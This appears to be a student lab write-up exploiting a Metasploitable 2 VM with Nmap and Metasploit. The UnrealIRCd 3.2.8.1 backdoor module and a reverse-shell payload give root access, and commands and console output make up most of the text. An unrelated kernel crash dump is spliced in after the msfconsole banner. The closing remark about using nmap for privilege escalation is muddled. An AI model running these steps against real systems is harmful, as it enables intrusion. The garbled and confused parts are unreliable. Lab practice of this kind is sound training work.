1 ADVANCED EXPLOITATION

First, setup the environment for exploitation and setup the tools like Metasploit, python and Nmap. Setup a VMware workstation and Kali Linux for testing environment.

Environment:

Attacker: Kali Linux

Target: Metasploitable 2 VM (192.168.1.14)

Tools: Metasploit, Python3 and Nmap

1.1 Setup & Reconnaissance

After setting of the tools run a scan with Nmap using the metasploitable 2 Vm Machine (192.168.1.14) and identify any vulnerable ports are there.

nmap 192.168.1.14 -sV

1.2 Chained Exploit Simulation

First, we have to setup the Metasploit in our Kali Linux by using the command as

msfconsole

```
┌──(root㉿kali)-[~]
└─# msfconsole
Metasploit tip: Bind your reverse shell to a tunnel with set
ReverseListenerBindAddress <tunnel_address> and set
ReverseListenerBindPort <tunnel_port> (e.g., ngrok)

Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018   es: 0018  ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)
```

After, search the exploit called as unreal_ircd_3281_backdoor in the msfconsole

```
msf > search unrealirc

Matching Modules

   #  Name                                      Disclosure Date  Rank       Check  Description
   -  ----                                      ---------------  ----       -----  -----------
   0  exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12       excellent  No     UnrealIRCD 3.2.8.1 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor

msf > use 0
```

Then, you have to see the options and setup all the necessary steps like setup RHOSTS, Payload, LHOST and LPORT and then you can exploit .

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.1.14
RHOSTS ⇒ 192.168.1.14
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[-] 192.168.1.14:6667 - Exploit failed: A payload has not been selected.
[*] Exploit completed, but no session was created.
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set PAYLOAD cmd/unix/reverse
PAYLOAD ⇒ cmd/unix/reverse
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[-] 192.168.1.14:6667 - Msf::OptionValidateError One or more options failed to validate: LHOST.
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
```

At last, we got the Meta 2 machine root access. Weather in old linux systems we have to check the permissions of the user and then using the nmap to access privilege escalation.

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST eth0
LHOST ⇒ 192.168.1.13
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP double handler on 192.168.1.13:4444
[*] 192.168.1.14:6667 - Connected to 192.168.1.14:6667 ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname ...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 192.168.1.14:6667 - Sending backdoor command ...
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo CTbGyFIdBBti6qWL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "CTbGyFIdBBti6qWL\r\n"
[*] Matching ...
[*] A is input ...
[*] Command shell session 1 opened (192.168.1.13:4444 → 192.168.1.14:46469) at 2026-01-21 02:50:33 -0500

whoami
root
```

EXPLOIT ID	DESCRIPTION	TARGET IP	STATUS	PAYLOAD
004	Unreal_ircd backdoor -> Privilege Escalation	192.168.1.14	Success	Shell